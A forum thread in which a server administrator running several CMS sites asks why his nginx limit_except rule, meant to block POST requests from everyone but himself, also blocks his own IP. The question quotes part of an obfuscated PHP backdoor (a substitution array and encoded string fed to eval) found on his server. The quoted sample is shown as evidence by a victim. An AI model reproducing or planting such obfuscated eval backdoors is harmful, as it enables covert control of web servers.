D
D
DIvan4ik2014-12-10 14:54:36
Nginx
DIvan4ik, 2014-12-10 14:54:36

How to disable POST requests to nginx for everyone except yourself?

Good time of the day!
There is a debian server with ISP manager 5 Lite installed. Spinning nginx + apache itk
on the server several sites on different CMS: Wordpress, Joomla, OpenCart, GetSimple... Sites are mostly new but there are also old ones. Even on Joomla 1.5.x.
Access is filtered by iptables, persons who have access are trusted.
I manage everything personally, well, or "almost" personally. The sites have a commercial intent and are visited periodically. But apparently they are visited not only by clients, but also by intruders ... Through a yet unknown hole on the server , php "Backdoors" are constantly (no, really, constantly, and most likely manually) uploaded, through which all sorts of horrors are happening.
Thought: "How long"? and found a solution :
Here is the main location of the ngingx site config file:

location / {

                location ~ [^/]\.ph(p\d*|tml)$ {
                        limit_except GET {
                                allow <<МОЙ_ИП>;
                                deny all;
                        }
                        try_files /does_not_exists @fallback;
                }

                location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {
                        expires 7d;
                        try_files $uri $uri/ @fallback;
                }

                location / {

                        limit_except GET {
                                allow <МОЙ_ИП>;
                                deny  all;
                        }
                        try_files /does_not_exists @fallback;
                }
        }

The request type filtering rule WORKS and everything would be fine, BUT blocks POST from my ip in addition.
The logs are clear:
<МОЙ_ИП> - - [10/Dec/2014:11:40:06 +0300] "POST /index.php?option=com_rsform&Itemid=3 HTTP/1.1" 405

Why is my POST not getting passed too? Day 3 I'm suffering...
UPD is not a Shell, but a Backdoor of the form:
<?php
$vGSDSHL = Array('1'=>'6', '0'=>'A', '3'=>'e ', '2'=>'a', '5'=>'y', '4'=>'v', '7'=>'H', '6'=>'p', '9' =>'l', '8'=>'r', 'A'=>'t', 'C'=>'G', 'B'=>'3', 'E'=>'1' , 'D'=>'2', 'G'=>'i', 'F'=>'o', 'I'=>'B', 'H'=>'n', 'K'= >'M', 'J'=>'C', 'M'=>'8', 'L'=>'T', 'O'=>'u', '
function vZAHTCQ($v0ZDJ0Q, $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a93C9xV7KFXDQkVC94tGPjlG0uhCdbvqdwV'.
'QazvBi6tDR6moFjUJ0jUJ0jUJinTWaLdQwHvsVVUYfjXCi9hbQEt7invyNf2yaOegFjUJ0jhyrxh'.
'oFjUJ0jUJ0jUJinTWaLdQwHvsVVUYfjXEN9vf9OhbMHeg66hGjjUydAP7iZmJinT'.
'WaLdQwHvsVVms0bXGIbVyZkVC94t9a93C9xV7KFXDQkVC94tGPjlG0'.
'uqEIcTEitXDWHqsujmoFjUJ0jvDQwtQaEPDd5qDhEtbKFXDQkVC94tGP'.
'jlG0uqEIcTEitXDWHqsupJbdR2qop';
eval(vZAHTCQ($v3MWBN6, $vGSDSHL));?>

Answer the question

In order to leave comments, you need to log in

2 answer(s)
E
Eugene, 2014-12-10
@Nc_Soft

You treat the symptoms.

A
Alexey Volegov, 2014-12-10
@EagleMoor

Probably because you allow yourself only GET
Try It
's a very strange way though. If all shells get through ISP, then give access to it only from work and that's it. From home vpn to work and you will be happy. Well, change the url for the panel.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question